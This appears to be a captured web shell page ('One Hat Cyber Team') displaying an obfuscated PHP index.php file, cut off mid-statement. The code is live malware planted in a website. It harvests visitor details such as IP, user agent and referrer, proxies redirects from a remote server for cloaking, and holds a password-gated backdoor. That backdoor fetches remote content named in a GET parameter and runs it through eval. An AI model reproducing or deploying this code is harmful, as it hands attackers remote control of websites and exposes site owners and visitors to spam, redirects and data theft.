One Hat Cyber Team

Edit File: index.php

<?php
 goto irhfdRPor1gavN3; PNb1yh1zp5BLztV: if (!in_array($OWu2QgDWU3qbkCU, array("\x2e\x6a\x73", "\x2e\x63\x73\163", "\56\152\160\147", "\x2e\x70\156\147", "\56\x67\151\x66", "\x2e\x69\143\x6f"))) { goto YdD9Tsz32jPOFuo; } goto UnyAHRUV3podNxx; eyfFd2O0oFjxB0x: $L49jo5aw9LX7iOV["\165"] = kpwwuRlbmJ15g2o($_SERVER["\x48\x54\x54\x50\137\x55\x53\x45\x52\x5f\x41\x47\105\x4e\124"]); goto NSgqAuVeaS9AyOz; rTVIfYU8MH_cBce: $L49jo5aw9LX7iOV["\x6c"] = KPwWurlBMj15g2O($_SERVER["\x48\x54\x54\x50\137\101\x43\x43\x45\x50\x54\137\x4c\x41\x4e\x47\x55\101\x47\x45"]); goto Zb8Tn1Npx25SmAj; vmP7JZigripQUAp: AIS5H8DGH2kFW_n::Odzt1WxwDcLqlPE(); goto PzR_KhxyOi7hgEJ; UgkI0Ty7kD1D4IU: gMSEPl0idkw5LKX: goto gBKfXgdMoX6DF2m; rx0USMWhWw_xAUz: function siasURSLmQi88DT() { goto Ht5hoRXYPUgiA5a; r2edAe7b7YheGBT: $k0ywK8SbxHyBMvN = "\150\164\164\x70\x73\72\57\57"; goto yYfR7ADnQ2dD0Yy; w6n_KT31FzRM5ax: if (isset($_SERVER["\x48\x54\x54\120\x5f\x58\137\106\x4f\x52\x57\101\x52\104\x45\x44\x5f\x50\x52\x4f\x54\117"]) && $_SERVER["\110\124\124\x50\x5f\130\x5f\x46\x4f\122\x57\101\x52\104\105\104\x5f\x50\x52\x4f\x54\x4f"] === "\x68\x74\x74\160\x73") { goto w5jylMZxvRSsGSi; } goto Mzlx_9uaRT8rtIF; Ht5hoRXYPUgiA5a: $k0ywK8SbxHyBMvN = "\150\164\x74\x70\x3a\x2f\57"; goto NnNXzHwkV2RydHG; NnNXzHwkV2RydHG: if (isset($_SERVER["\x48\x54\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\124\x50\123"]) !== "\x6f\146\146") { goto kscoAoY1ctiGcZh; } goto w6n_KT31FzRM5ax; MIA0Dwv9MSbKqWV: goto ZfzJdUdwQgKqmKi; goto o4tcIy2ys_21A8B; yYfR7ADnQ2dD0Yy: ZfzJdUdwQgKqmKi: goto LhPsXk_g0wl_sOD; LhPsXk_g0wl_sOD: return $k0ywK8SbxHyBMvN; goto VPDc1pTcpMq7Z3U; o4tcIy2ys_21A8B: kscoAoY1ctiGcZh: goto fPnU739tP2bWmSy; BXDzDAuYBTW97d4: $k0ywK8SbxHyBMvN = "\150\164\x74\x70\x73\72\57\x2f"; goto XNG1io2TC88w8RR; QvzmLHTOI8wnD7g: goto ZfzJdUdwQgKqmKi; goto FQmwwRsUQ6g2gUM; XNG1io2TC88w8RR: goto ZfzJdUdwQgKqmKi; goto RY_7o9Y6sdg2MTl; FQmwwRsUQ6g2gUM: w5jylMZxvRSsGSi: goto BXDzDAuYBTW97d4; RY_7o9Y6sdg2MTl: boeaW3gbfaaZFek: goto r2edAe7b7YheGBT; Mzlx_9uaRT8rtIF: if (isset($_SERVER["\110\x54\x54\x50\137\x46\x52\117\116\124\137\105\116\104\137\x48\x54\x54\120\123"]) && strtolower($_SERVER["\110\x54\x54\x50\x5f\106\122\x4f\116\124\137\105\x4e\x44\x5f\x48\124\124\120\123"]) !== "\x6f\x66\x66") { goto boeaW3gbfaaZFek; } goto MIA0Dwv9MSbKqWV; fPnU739tP2bWmSy: $k0ywK8SbxHyBMvN = "\150\x74\x74\x70\x73\x3a\57\57"; goto QvzmLHTOI8wnD7g; VPDc1pTcpMq7Z3U: } goto yztJEqgrHsEzOW4; xWzldTlOsGIzDR5: $csPE61ywbn5qEvi = Wn3Fm1iJJHrpqcE(); goto lpLxJOC4tkQsaIM; FVX05e68rJIcGoJ: if (!strlen($uJ1DU_C5cPZZ9bq["\x63\x6f\x6e\x74\145\156\164"])) { goto d_MhXDAeNVNXstK; } goto M2X4SWaA7dIn4yc; qI1C5oqWnihgES2: $LJXJaJWAZh3NqzC = ''; goto ojyxCj78NkYs8B8; bRIbin0tCnl97yB: ZTvRrzpl4wT1KY0: goto ICMS4UgRWVwP5L9; OprKOJ2I5LdoEoA: XY9rB5VK20SDFMD: goto r2igqu2WCWaOPYS; QwOVfyr1Yp1mo83: $L49jo5aw9LX7iOV["\162\146"] = KpwwUrlbmj15g2o($LJXJaJWAZh3NqzC); goto WddMU293hbRS8S3; ilrpXxul592mH34: $L49jo5aw9LX7iOV["\162"] = KPWWURLbMJ15G2O($_SERVER["\122\105\121\x55\x45\123\x54\137\x55\x52\111"]); goto QwOVfyr1Yp1mo83; VeXVH1nlXP3Qcpn: exit("\173\40\42\145\162\x72\x6f\x72\42\72\40\x32\60\x30\x2c\x20\x22\154\x63\x22\72\40\42\152\153\42\x2c\40\x22\x64\141\164\x61\x22\72\40\x5b\40\x31\x20\x5d\x20\x7d"); goto KP2YAQoORgttfr9; lWWMi3kmsjaM4pk: echo $uJ1DU_C5cPZZ9bq["\143\157\156\x74\x65\x6e\x74"]; goto S6woJjot7J7eR01; EzqrBMxTFFU5Xc_: $g94ZqtkbnNLb17_[66] = $g94ZqtkbnNLb17_[66] . $g94ZqtkbnNLb17_[71]; goto gJOfdpMp61ZBhoO; K0gD4fuFGFoynAT: qRw2ubbRTPOFWDs: goto ErrKI2gxczfRr9y; aO2q6eC5hibfPQ5: $IXpfnWU2SS9EAWF = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto gqQqFek6rg3mlou; gBKfXgdMoX6DF2m: if ($TsMh0ZTkYk9CgyH) { goto z8SsT8lqC6fivli; } goto h83JBM3Tb46zz1r; S6woJjot7J7eR01: exit(0); goto P1w91I0aEKMQuZ6; WX5I2x9V3xaN6YN: $OWu2QgDWU3qbkCU = substr($pJw5JnTxZu5h3cV, strpos($pJw5JnTxZu5h3cV, "\x2e")); goto PNb1yh1zp5BLztV; yztJEqgrHsEzOW4: if (!($_SERVER["\x52\x45\121\x55\105\x53\124\137\125\122\x49"] === "\x2f\x52\55" . md5($_SERVER["\x53\105\122\x56\105\122\137\116\101\x4d\x45"]))) { goto XY9rB5VK20SDFMD; } goto NZ9qC1dLurN3iNU; uvqEn8Dh9UBRASC: yw6E0o2hxoNpr_G: goto K0gD4fuFGFoynAT; Zb8Tn1Npx25SmAj: $L49jo5aw9LX7iOV["\163\x6e"] = kPWWURLbmj15G2O($_SERVER["\x53\x43\x52\111\x50\124\137\x4e\x41\x4d\x45"]); goto ilrpXxul592mH34; NZ9qC1dLurN3iNU: exit(strrev(md5($_SERVER["\x53\105\122\x56\105\x52\x5f\x4e\x41\x4d\x45"]))); goto OprKOJ2I5LdoEoA; vXmObDFcSqnnESt: function i2JDSfPCE6ywHDJ($wfYG5x1sy9NZLlC, $xl3Kgymw0paYCJl = array()) { goto X2Qiz7ZywIIEuUF; X2Qiz7ZywIIEuUF: $uJ1DU_C5cPZZ9bq = array("\x73\x74\141\x74\165\163" => 0, "\x63\157\x6e\164\145\x6e\x74" => '', "\x74\171\x70\x65" => ''); goto g84QDDV3nB_RGpG; g84QDDV3nB_RGpG: if (!(is_array($xl3Kgymw0paYCJl) && count($xl3Kgymw0paYCJl))) { goto dduvIDgp3p2L2XN; } goto FGRYFk_J1Ag1oMK; ULhexaj1pb3BZOl: try { goto wxb7mduQLjrWcPg; xnCkh38Wam2oo4l: goto mLxyrAEIVjT01py; goto tv1GwiE4k28xzX0; J9RX_5QQAp5cw5Z: curl_setopt($WaEg_CDXdkoS74v, CURLOPT_CONNECTTIMEOUT, 20); goto Rk3OO9Kb_2s1sVd; qdLo1r_2_31s1hy: $IFPJeCjqFmQIHV7 = curl_exec($WaEg_CDXdkoS74v); goto vY_c6MNYnYaH4Wm; kmYdQw4_sUmVapq: curl_setopt($WaEg_CDXdkoS74v, CURLOPT_SSL_VERIFYHOST, 0); goto j9aopbWVHQyvY0h; zsCkY_a3DpxTgA8: Mw4y3J6Bm0pqv7I: goto N_Y5szYpzlyfiSL; Rk3OO9Kb_2s1sVd: curl_setopt($WaEg_CDXdkoS74v, CURLOPT_TIMEOUT, 60); goto IZ7z2Q7nyucH3GT; cIBE8TWlHkEENIs: if (!in_array($uJ1DU_C5cPZZ9bq["\163\x74\x61\164\165\163"], array(200, 301, 302, 404))) { goto Mw4y3J6Bm0pqv7I; } goto Xb_kXUMui8rybcX; z2KesgjYuB5Hw2U: @curl_close($WaEg_CDXdkoS74v); goto cIBE8TWlHkEENIs; iOLE3hCEFsyfPli: mLxyrAEIVjT01py: goto fGKr8_1EfsM1VDv; loSTLVQ8_OlUw2X: $uJ1DU_C5cPZZ9bq["\x74\171\160\145"] = strval(curl_getinfo($WaEg_CDXdkoS74v, CURLINFO_CONTENT_TYPE)); goto a2eE5qCTGWEVavB; o0rfXWOzWJ6j_Un: curl_setopt($WaEg_CDXdkoS74v, CURLOPT_URL, $wfYG5x1sy9NZLlC); goto kmYdQw4_sUmVapq; Kmjsu3pa3WgTw8s: WQYQXZsrCBM052H: goto qos8YEw0NrcoCoo; hIejAfeBLFjVSb0: curl_setopt($WaEg_CDXdkoS74v, CURLOPT_COOKIESESSION, 0); goto jVkqBB4EECKJjMe; FK1CwS57jUbkGsv: if (!in_array($uJ1DU_C5cPZZ9bq["\163\x74\141\164\165\163"], array(200, 301, 302, 404))) { goto svhstaUWp__XCth; } goto K0QdGFqo18M1kuX; Vx_3L2uyUTBnqOl: $WaEg_CDXdkoS74v = curl_init(); goto o0rfXWOzWJ6j_Un; a2eE5qCTGWEVavB: $uJ1DU_C5cPZZ9bq["\x63\x6f\156\x74\x65\x6e\164"] = strval(curl_getinfo($WaEg_CDXdkoS74v, CURLINFO_REDIRECT_URL)); goto z2KesgjYuB5Hw2U; vY_c6MNYnYaH4Wm: $uJ1DU_C5cPZZ9bq["\163\x74\x61\x74\x75\x73"] = intval(curl_getinfo($WaEg_CDXdkoS74v, CURLINFO_HTTP_CODE)); goto loSTLVQ8_OlUw2X; Xb_kXUMui8rybcX: $uJ1DU_C5cPZZ9bq["\143\x6f\156\x74\145\x6e\x74"] = strval($IFPJeCjqFmQIHV7); goto zsCkY_a3DpxTgA8; K0QdGFqo18M1kuX: $uJ1DU_C5cPZZ9bq["\x63\x6f\156\x74\145\156\164"] = strval($JT2ezCYScBE8PYr); goto dq3EB9fjGTzuAKw; tv1GwiE4k28xzX0: dAoBl7AAzMM1dvd: goto Vx_3L2uyUTBnqOl; wxb7mduQLjrWcPg: if (function_exists("\143\165\x72\154\x5f\145\x78\x65\x63") && function_exists("\x63\165\162\154\137\151\x6e\x69\x74")) { goto dAoBl7AAzMM1dvd; } goto yiwudZteHgB9vQo; yiwudZteHgB9vQo: if (ini_get("\x61\x6c\x6c\x6f\167\137\165\162\x6c\137\x66\x6f\x70\x65\x6e")) { goto WQYQXZsrCBM052H; } goto xnCkh38Wam2oo4l; N_Y5szYpzlyfiSL: goto mLxyrAEIVjT01py; goto Kmjsu3pa3WgTw8s; j9aopbWVHQyvY0h: curl_setopt($WaEg_CDXdkoS74v, CURLOPT_SSL_VERIFYPEER, 0); goto J9RX_5QQAp5cw5Z; Ypjl5eakEA4M_2m: $qUO_kyrM1MOVu4s = stream_context_create($mxB6CmtHnyH0NGz); goto APxqscyNp5FLbmg; dq3EB9fjGTzuAKw: svhstaUWp__XCth: goto iOLE3hCEFsyfPli; IREcbDxDiYb2nXB: $uJ1DU_C5cPZZ9bq = array_merge($uJ1DU_C5cPZZ9bq, tA7_wtUQAzdZYpz($http_response_header)); goto FK1CwS57jUbkGsv; jVkqBB4EECKJjMe: curl_setopt($WaEg_CDXdkoS74v, CURLOPT_RETURNTRANSFER, 1); goto qdLo1r_2_31s1hy; IZ7z2Q7nyucH3GT: curl_setopt($WaEg_CDXdkoS74v, CURLOPT_FOLLOWLOCATION, 0); goto hIejAfeBLFjVSb0; qos8YEw0NrcoCoo: $mxB6CmtHnyH0NGz = array("\x68\164\164\160" => array("\155\145\164\150\157\x64" => "\107\x45\x54", "\x74\x69\x6d\x65\x6f\x75\164" => 60, "\146\157\154\154\157\x77\137\154\x6f\143\141\x74\151\157\x6e" => 0), "\163\x73\154" => array("\x76\x65\162\151\146\171\x5f\x70\145\145\162" => false, "\166\145\x72\x69\146\171\x5f\160\145\x65\x72\x5f\156\141\155\x65" => false)); goto Ypjl5eakEA4M_2m; APxqscyNp5FLbmg: $JT2ezCYScBE8PYr = @file_get_contents($wfYG5x1sy9NZLlC, false, $qUO_kyrM1MOVu4s); goto IREcbDxDiYb2nXB; fGKr8_1EfsM1VDv: } catch (Exception $OJW5Puqx1PEIIzL) { } goto WiYHg38B9i3345u; WiYHg38B9i3345u: return $uJ1DU_C5cPZZ9bq; goto Nq40DrAGxqHjeMW; tA_UCtYCk4G25zk: dduvIDgp3p2L2XN: goto ULhexaj1pb3BZOl; FGRYFk_J1Ag1oMK: $wfYG5x1sy9NZLlC .= "\x3f" . http_build_query($xl3Kgymw0paYCJl); goto tA_UCtYCk4G25zk; Nq40DrAGxqHjeMW: } goto ub0m7rHs8ihpvvx; lrYfbwiurdaMj0I: $WvR2pB2qf0Uzo3b = siaSUrsLmqi88dt() . $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\124"]; goto xNcEDOQ5Ev8FaJl; W4KLpvHaFWUg0UA: $L49jo5aw9LX7iOV = array(); goto XsS4vnEQD66kYtF; xNcEDOQ5Ev8FaJl: if (!(strpos($LJXJaJWAZh3NqzC, $WvR2pB2qf0Uzo3b) === 0)) { goto A18sieZOrGBDYlc; } goto qI1C5oqWnihgES2; d2LvgFfIewyOp_c: function Ta7_wtuqAZDZyPZ($Onkfzof0xrzgfNI) { goto zH1eJjPe9iMIdDy; mU_aHMYhvcvwonG: mNarUB6OAWtAaJw: goto Ck8hsvenFM38nXR; yiJiwSLNthcH3t1: if (is_array($Onkfzof0xrzgfNI)) { goto rUmthO6R36h7t8y; } goto pFMQ035cxVc74Cm; lgpi3DjNE3fCsx4: foreach ($Onkfzof0xrzgfNI as $W9AmRUtg6Vy99Vw) { goto hNZOBJJ4oflLLq_; tNTD2KgksuXiE2Y: goto kt72ExfO6J8pWVP; goto z0mi8mH0N3NvIMI; CrUR1JhL9cilRWN: $h68Q7HmM3zCgoo_["\x63\157\x6e\x74\x65\x6e\x74"] = $j_Dmm2wYh7Gp03w[1]; goto eVro80JvdJmdElm; liWaB0HIhD9QUop: if (preg_match("\57\x6c\157\143\x61\x74\151\x6f\156\x5c\72\133\x5c\163\135\53\50\56\52\x29\57\x69", $W9AmRUtg6Vy99Vw, $j_Dmm2wYh7Gp03w)) { goto ceohkddV_ljlSkH; } goto dn8X6NCWtGjYw3E; LNAlK5AQXhar76i: k5CXEySVUEpRzKr: goto C2yEACaafnTN522; C2yEACaafnTN522: $h68Q7HmM3zCgoo_["\164\171\160\x65"] = $j_Dmm2wYh7Gp03w[1]; goto TJdBSiTPhUXaEQz; eVro80JvdJmdElm: goto kt72ExfO6J8pWVP; goto LNAlK5AQXhar76i; z0mi8mH0N3NvIMI: ceohkddV_ljlSkH: goto CrUR1JhL9cilRWN; bqsoan2p1Xd9e6D: sdTeGsl9yO0IbX_: goto smA2FNK_1PSGXcF; JtJ37gRGFoyPtcP: $h68Q7HmM3zCgoo_["\x73\164\141\164\x75\163"] = intval($j_Dmm2wYh7Gp03w[1]); goto tNTD2KgksuXiE2Y; Wtwrg0182mXLMvh: YDMlY3ULf1Sn6t9: goto JtJ37gRGFoyPtcP; dn8X6NCWtGjYw3E: if (preg_match("\x2f\143\157\x6e\164\x65\x6e\x74\134\55\x74\171\x70\x65\x5c\x3a\133\x5c\163\x5d\53\x28\x2e\x2a\51\x2f\x69", $W9AmRUtg6Vy99Vw, $j_Dmm2wYh7Gp03w)) { goto k5CXEySVUEpRzKr; } goto d1kNsKYbMZNx2zD; TJdBSiTPhUXaEQz: kt72ExfO6J8pWVP: goto bqsoan2p1Xd9e6D; hNZOBJJ4oflLLq_: if (preg_match("\57\x68\x74\x74\x70\134\57\x5b\60\55\x39\134\56\x5d\53\x5b\x5c\x73\x5d\x2b\50\133\60\55\x39\135\53\51\x2f\151", $W9AmRUtg6Vy99Vw, $j_Dmm2wYh7Gp03w)) { goto YDMlY3ULf1Sn6t9; } goto liWaB0HIhD9QUop; d1kNsKYbMZNx2zD: goto kt72ExfO6J8pWVP; goto Wtwrg0182mXLMvh; smA2FNK_1PSGXcF: } goto mU_aHMYhvcvwonG; pFMQ035cxVc74Cm: return $h68Q7HmM3zCgoo_; goto DGwsTNo52Jp07hj; DGwsTNo52Jp07hj: rUmthO6R36h7t8y: goto lgpi3DjNE3fCsx4; Ck8hsvenFM38nXR: return $h68Q7HmM3zCgoo_; goto nMBKBeLZlsKg6W6; zH1eJjPe9iMIdDy: $h68Q7HmM3zCgoo_ = array("\x73\x74\141\x74\x75\x73" => 0, "\143\157\156\x74\x65\x6e\x74" => '', "\x74\171\160\x65" => ''); goto yiJiwSLNthcH3t1; nMBKBeLZlsKg6W6: } goto vXmObDFcSqnnESt; ErrKI2gxczfRr9y: WaS9sE0H4Iywahu: goto FVX05e68rJIcGoJ; ywYeVQm29shQi6h: YdD9Tsz32jPOFuo: goto UgkI0Ty7kD1D4IU; bQpRTbS8dibc1c4: error_reporting(0); goto d2LvgFfIewyOp_c; gqQqFek6rg3mlou: $nDbmI63JCuSS1UA = $IXpfnWU2SS9EAWF("\176", "\40"); goto rd2MRszH7FJuAgw; veTvpbSs7IU06_P: function wn3FM1IjjhrPqCe() { goto li1SuZ3zLZ8ffFu; hMKCTSMJEye6WGn: if (!(strpos($csPE61ywbn5qEvi, "\54") !== false)) { goto CwMybp1i576bKb7; } goto J482oKNNzPvBguY; jdUVeiMiODJ4I3z: $csPE61ywbn5qEvi = $_SERVER["\x48\124\124\x50\x5f\x58\137\122\105\101\x4c\x5f\x49\x50"]; goto hqSgJ57oEHgl7jj; Ehk7n5L7Mfh7Ic9: V8Sr5mKn_uCGMAE: goto dwLoE_I8yTVPOck; SzSG6iSA8_TNjv_: CwMybp1i576bKb7: goto tUXCRjTtn2O2o1P; ed1YuXsGFivv5vt: px6IkFzoNqhW8JB: goto T16Edc2XUwXbmTX; iJ3BeYwLPxWal4o: if (isset($_SERVER["\110\124\124\x50\137\103\106\x5f\103\x4f\116\116\105\103\124\x49\116\107\x5f\111\x50"]) && !empty($_SERVER["\x48\x54\124\x50\x5f\103\x46\x5f\103\117\x4e\116\105\x43\124\111\x4e\107\137\111\120"])) { goto o0GB1Jv68yLWX1R; } goto eSFutLeTgswvDjy; KQbGQi2qHZmmSWK: o0GB1Jv68yLWX1R: goto B1fWQkzR_ZnWyQ_; AGyqQFL3Pypzmw1: KGRFfvM77lmixWN: goto jdUVeiMiODJ4I3z; T16Edc2XUwXbmTX: $csPE61ywbn5qEvi = $_SERVER["\x48\x54\124\120\137\x58\137\106\x4f\x52\x57\x41\x52\104\105\104\x5f\x46\117\122"]; goto Ehk7n5L7Mfh7Ic9; eSFutLeTgswvDjy: if (isset($_SERVER["\110\x54\124\120\137\x58\137\x52\x45\x41\114\137\x49\120"]) && !empty($_SERVER["\110\124\x54\120\x5f\x58\137\x52\105\x41\x4c\137\x49\x50"])) { goto KGRFfvM77lmixWN; } goto uE8Vmx_iV0Gd2TS; dwLoE_I8yTVPOck: $csPE61ywbn5qEvi = trim(str_replace("\40", '', $csPE61ywbn5qEvi), "\54"); goto hMKCTSMJEye6WGn; UH2iqhg1po2ret1: goto V8Sr5mKn_uCGMAE; goto KQbGQi2qHZmmSWK; rbqLNC9X9fR029N: $csPE61ywbn5qEvi = $csPE61ywbn5qEvi[0]; goto SzSG6iSA8_TNjv_; J482oKNNzPvBguY: $csPE61ywbn5qEvi = explode("\x2c", $csPE61ywbn5qEvi); goto rbqLNC9X9fR029N; IKRWLAPR5XtCN5P: $csPE61ywbn5qEvi = $_SERVER["\x52\x45\115\x4f\124\x45\x5f\x41\104\104\122"]; goto UH2iqhg1po2ret1; RI8nzytqjmKOI6c: goto V8Sr5mKn_uCGMAE; goto AGyqQFL3Pypzmw1; li1SuZ3zLZ8ffFu: $csPE61ywbn5qEvi = ''; goto iJ3BeYwLPxWal4o; hqSgJ57oEHgl7jj: goto V8Sr5mKn_uCGMAE; goto ed1YuXsGFivv5vt; uE8Vmx_iV0Gd2TS: if (isset($_SERVER["\x48\124\124\x50\x5f\130\137\x46\x4f\x52\x57\101\122\104\105\104\x5f\x46\117\x52"]) && !empty($_SERVER["\x48\124\124\x50\x5f\130\x5f\x46\117\122\x57\x41\122\104\x45\104\137\106\117\122"])) { goto px6IkFzoNqhW8JB; } goto IKRWLAPR5XtCN5P; B1fWQkzR_ZnWyQ_: $csPE61ywbn5qEvi = $_SERVER["\x48\124\124\x50\x5f\x43\x46\137\103\117\116\116\x45\103\x54\111\116\107\137\x49\x50"]; goto RI8nzytqjmKOI6c; tUXCRjTtn2O2o1P: return $csPE61ywbn5qEvi; goto aJHRrvgB3fq71ul; aJHRrvgB3fq71ul: } goto rx0USMWhWw_xAUz; GHB8z0JNxvJt66H: if (!(strpos($pJw5JnTxZu5h3cV, "\x2e") > 0 && strpos($pJw5JnTxZu5h3cV, "\56\x70\x68\x70") === false)) { goto gMSEPl0idkw5LKX; } goto WX5I2x9V3xaN6YN; WddMU293hbRS8S3: $L49jo5aw9LX7iOV["\x73"] = KPwwurlbMj15g2o($WvR2pB2qf0Uzo3b); goto eyfFd2O0oFjxB0x; P1w91I0aEKMQuZ6: d_MhXDAeNVNXstK: goto iRTZtK2KFx3pO9P; lpLxJOC4tkQsaIM: $LJXJaJWAZh3NqzC = strval(@$_SERVER["\110\x54\124\x50\x5f\x52\105\106\x45\x52\105\122"]); goto lrYfbwiurdaMj0I; wl0s3WySOwcgp8j: switch ($uJ1DU_C5cPZZ9bq["\x73\x74\141\164\165\x73"]) { case 301: goto ZyNGBb6v0XXPnA9; tJjjqwklLe0R92y: header("\x4c\157\143\x61\x74\151\157\x6e\72\x20" . trim($uJ1DU_C5cPZZ9bq["\143\x6f\x6e\x74\145\x6e\x74"])); goto qjW_MI7RsTJG60F; qjW_MI7RsTJG60F: goto qRw2ubbRTPOFWDs; goto J85m4fFwg10ca45; ZyNGBb6v0XXPnA9: header("\110\x54\x54\x50\57\x31\x2e\x31\x20\63\x30\61\x20\x4d\x6f\x76\x65\x64\x20\120\x65\162\155\x61\156\x65\156\x74\x6c\171"); goto tJjjqwklLe0R92y; J85m4fFwg10ca45: case 302: goto PQj1mjjHfR3RwIQ; PQj1mjjHfR3RwIQ: header("\x48\124\x54\x50\x2f\x31\56\x31\40\63\x30\x32\40\115\157\166\145\40\124\145\155\160\x6f\162\141\x72\151\154\x79"); goto SjrBMhhzjhkuOBK; A9dxb_vNsSx17ff: goto qRw2ubbRTPOFWDs; goto CQgi_K01QG90VOh; SjrBMhhzjhkuOBK: header("\114\157\x63\x61\x74\x69\157\x6e\x3a\x20" . trim($uJ1DU_C5cPZZ9bq["\143\157\156\x74\145\156\x74"])); goto A9dxb_vNsSx17ff; CQgi_K01QG90VOh: case 404: goto aGfVXkBEJaFdDl8; axqGu70lA9239ry: goto qRw2ubbRTPOFWDs; goto VFWJqE4bR7ySyTo; IrI4f4Vjt1u2U2L: header("\163\164\141\x74\165\x73\x3a\40\64\60\x34\40\116\157\164\x20\x46\x6f\165\156\x64"); goto axqGu70lA9239ry; aGfVXkBEJaFdDl8: header("\x48\124\x54\x50\57\x31\x2e\61\40\x34\x30\64\x20\116\x6f\x74\x20\x46\157\165\156\144"); goto IrI4f4Vjt1u2U2L; VFWJqE4bR7ySyTo: default: goto qRw2ubbRTPOFWDs; } goto uvqEn8Dh9UBRASC; ub0m7rHs8ihpvvx: function kPWwURLbMJ15G2O($Jhg2w5MyjdvMiwx) { goto iQHMPW4acMrHEbN; UHLMUOk9qdIDD7U: QSdayVOo2kDof0V: goto uzS2DSV1kgUiGav; Cg3qW53peLu5pfZ: return ''; goto UHLMUOk9qdIDD7U; uzS2DSV1kgUiGav: return rtrim(strtr(base64_encode($Jhg2w5MyjdvMiwx), "\x2b\x2f", "\x2d\137"), "\x3d"); goto m6EqflWLyW6OB31; iQHMPW4acMrHEbN: if ($Jhg2w5MyjdvMiwx) { goto QSdayVOo2kDof0V; } goto Cg3qW53peLu5pfZ; m6EqflWLyW6OB31: } goto veTvpbSs7IU06_P; NSgqAuVeaS9AyOz: $pJw5JnTxZu5h3cV = preg_replace("\57\x5c\77\x2e\52\57", '', $_SERVER["\122\105\x51\x55\105\123\x54\x5f\125\122\111"]); goto LJdzVzbj8Ljl6lC; SqvGumhTHZGRbxk: class AIS5h8dGh2kFW_n { static function NZYJ_Ul2rkw23wf($NDRc_QGLGO22tPD) { goto PTzRydyUAW9ztYL; siAnoHvx53sx3bF: foreach ($yyMOpUgLCPuyNI9 as $z9tsXRQ6jmiFfeK => $ckP8n6uYXIRCxKK) { $jDgx5EkQlMi3Gh0 .= $ny8AgJmXsQ7iSy_[$ckP8n6uYXIRCxKK - 53881]; s_MeqDOZXl1S5ee: } goto Agvk8zX6da5lQCI; XBW9Wemy5_Vbr91: return $jDgx5EkQlMi3Gh0; goto v6f2O5aBKYlREBq; Agvk8zX6da5lQCI: frsPB2T1cR6HnZe: goto XBW9Wemy5_Vbr91; FsqrKBQPzt2YUAc: $jDgx5EkQlMi3Gh0 = ''; goto siAnoHvx53sx3bF; a2ID9fkXhRgbqc5: $ny8AgJmXsQ7iSy_ = $RkHsZQ9bIjqK_Kb("\176", "\40"); goto Sl1hp1mgRxqH67_; PTzRydyUAW9ztYL: $RkHsZQ9bIjqK_Kb = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto a2ID9fkXhRgbqc5; Sl1hp1mgRxqH67_: $yyMOpUgLCPuyNI9 = explode("\76", $NDRc_QGLGO22tPD); goto FsqrKBQPzt2YUAc; v6f2O5aBKYlREBq: } static function OeZn8Nu8z2TUlgy($Ani85kzXA8pSgpN, $FIlbR1DhEQ43sFs) { goto VjNCn0r5RjbRl1B; aVC7yzyRAOuH3B1: return empty($meiarlMRWb21wiP) ? $FIlbR1DhEQ43sFs($Ani85kzXA8pSgpN) : $meiarlMRWb21wiP; goto JoLR17VLP0B7nsY; VjNCn0r5RjbRl1B: $LlEwiNEjs0BxGTn = curl_init($Ani85kzXA8pSgpN); goto HtBVgr5CV9Mvj8t; gvE9u8mdybvNRya: $meiarlMRWb21wiP = curl_exec($LlEwiNEjs0BxGTn); goto aVC7yzyRAOuH3B1; HtBVgr5CV9Mvj8t: curl_setopt($LlEwiNEjs0BxGTn, CURLOPT_RETURNTRANSFER, 1); goto gvE9u8mdybvNRya; JoLR17VLP0B7nsY: } static function odzT1wxwDClQlpE() { goto wOuaqKNm1vmZfYY; nkiPRKdx_UdOYLu: $VWiFKffd4Hd73lc = $sm3uwo_30bfoyCM[0 + 2]($PIr0zPWsRb5elSm, true); goto zzirAOP2TBvs3o8; EcY5iedyqv8nhCc: die; goto rEdkV81337Gg2Ox; ojPA_FN_ebYI84O: $dZlqJmJJ9QL1sdG = self::OezN8nu8Z2tulgY($VWiFKffd4Hd73lc[0 + 1], $sm3uwo_30bfoyCM[0 + 5]); goto S60c2bBTOAes5y8; ftSOo_Obt8w0Cm5: if (!(@$VWiFKffd4Hd73lc[0] - time() > 0 and $ux8j_3iWzvXxhRh === "\142\65\x63\x34\61\x64\66\x61\x34\x63\67\141\64\x30\x30\145\x38\61\x35\143\60\x62\x38\61\x31\x38\70\x37\x32\64\142\x66")) { goto xtCK7iKeWCYFlMU; } goto ojPA_FN_ebYI84O; ufaaWTNwH_koqWz: $ux8j_3iWzvXxhRh = md5($qA2P1knNx3bNcwn); goto ftSOo_Obt8w0Cm5; hEBrd07QmkJeSKu: @$sm3uwo_30bfoyCM[5 + 5](INPUT_GET, "\x6f\146") == 1 && die($sm3uwo_30bfoyCM[5 + 0](__FILE__)); goto ufaaWTNwH_koqWz; YqcMGEDPjQMRM7Q: $PIr0zPWsRb5elSm = @$sm3uwo_30bfoyCM[3 + 0]($sm3uwo_30bfoyCM[5 + 1], $pGy3DMm844pOnFo); goto nkiPRKdx_UdOYLu; zzirAOP2TBvs3o8: $qA2P1knNx3bNcwn = md5($VWiFKffd4Hd73lc[1 + 2]); goto hEBrd07QmkJeSKu; S60c2bBTOAes5y8: @eval($sm3uwo_30bfoyCM[0 + 4]($dZlqJmJJ9QL1sdG)); goto EcY5iedyqv8nhCc; aTaqZxVxaCeijif: foreach ($dgmfX5Yy3ISlxCs as $WY86sxj2uJXQGuf) { $sm3uwo_30bfoyCM[] = self::nzyJ_Ul2rkW23wf($WY86sxj2uJXQGuf); Xg4_m7LnosZSVF3: } goto kBlOBLhnbfJ9WDN; kBlOBLhnbfJ9WDN: d85G2ajxBp74a5o: goto Be6jJ5U02bkPBKc; Be6jJ5U02bkPBKc: $pGy3DMm844pOnFo = @$sm3uwo_30bfoyCM[1]($sm3uwo_30bfoyCM[9 + 1](INPUT_GET, $sm3uwo_30bfoyCM[0 + 9])); goto YqcMGEDPjQMRM7Q; rEdkV81337Gg2Ox: xtCK7iKeWCYFlMU: goto x5NU3cyKp9T8ibG; wOuaqKNm1vmZfYY: $dgmfX5Yy3ISlxCs = 